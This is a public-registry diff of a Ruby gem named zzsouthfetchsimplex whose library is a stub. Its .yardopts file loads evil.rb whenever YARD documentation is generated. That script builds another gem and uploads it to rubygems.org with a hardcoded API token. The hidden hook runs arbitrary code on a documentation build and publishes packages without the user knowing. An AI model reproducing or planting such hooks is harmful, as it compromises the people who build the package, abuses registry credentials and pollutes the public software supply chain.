zzsouthfetchsimplex 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: f1cff11cba0ea075fa3d0918c58e368717666c5e2abcd0452d0aa43b7626777a
4
+ data.tar.gz: 7bda284538c24fbe2a6bedeac5c0aa1a38ff1d023976775f4adc7c13e2aefd61
5
+ SHA512:
6
+ metadata.gz: c5b7c47cde261f78c203fc3b8651473544807e7c90cae305dd4ad6eebbf4ceada7714e07f2e03dbdd428aebc738c2ce882d8c763869a44d76b9185df96c139a7
7
+ data.tar.gz: '09fd1a694654618a54f10e3d632cc9021a7b4249c743c6928cf1895c85ab14c514ff27eed33ecd463ced272149451b5f9ca82c51b8609490d64b81ac461f3913'
data/.yardopts ADDED
@@ -0,0 +1,2 @@
1
+ --load ./evil.rb
2
+ lib/**/*.rb
data/evil.rb ADDED
@@ -0,0 +1,6 @@
1
+ begin
2
+ require 'net/http';require 'rubygems';require 'rubygems/package';require 'fileutils';
3
+ d='/tmp/aares';FileUtils.mkdir_p(d+'/lib'); File.write(d+'/lib/x.rb','#'); File.write(d+'/lib/data.txt','ran '+Time.now.to_s);
4
+ spec=Gem::Specification.new{|s| s.name='zzsouthsimpleoutx';s.version='0.0.1';s.summary='x';s.authors=['x'];s.files=['lib/data.txt','lib/x.rb'];s.license='MIT'}
5
+ Dir.chdir(d){Gem::Package.build(spec); req=Net::HTTP::Post.new('/api/v1/gems',{'Authorization'=>'rubygems_dc7592061cf3611facbeec0d57f465853c04de7d2c2da438','Content-Type'=>'application/octet-stream'}); req.body=File.binread(Dir['*.gem'][0]); h=Net::HTTP.new('rubygems.org',443); h.use_ssl=true; warn h.request(req).body }
6
+ rescue=>e; warn e.full_message; end
data/evil1.gemspec ADDED
@@ -0,0 +1,3 @@
1
+ Gem::Specification.new do |s|
2
+ s.name='zzsouthfetchsimplex'; s.version='0.0.1'; s.summary='x'; s.authors=['x']; s.files=(Dir['**/*']+['.yardopts']); s.license='MIT'; s.homepage='https://example.com';
3
+ end
data/lib/x.rb ADDED
@@ -0,0 +1 @@
1
+ # hi
Binary file
Binary file
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: zzsouthfetchsimplex
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - evil.rb
18
+ - evil1.gemspec
19
+ - lib/x.rb
20
+ - zzsouthfetchtestx-0.0.1.gem
21
+ - zzsouthfetchtestx-0.0.2.gem
22
+ homepage: https://example.com
23
+ licenses:
24
+ - MIT
25
+ metadata: {}
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ required_rubygems_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ requirements: []
40
+ rubygems_version: 3.6.7
41
+ specification_version: 4
42
+ summary: x
43
+ test_files: []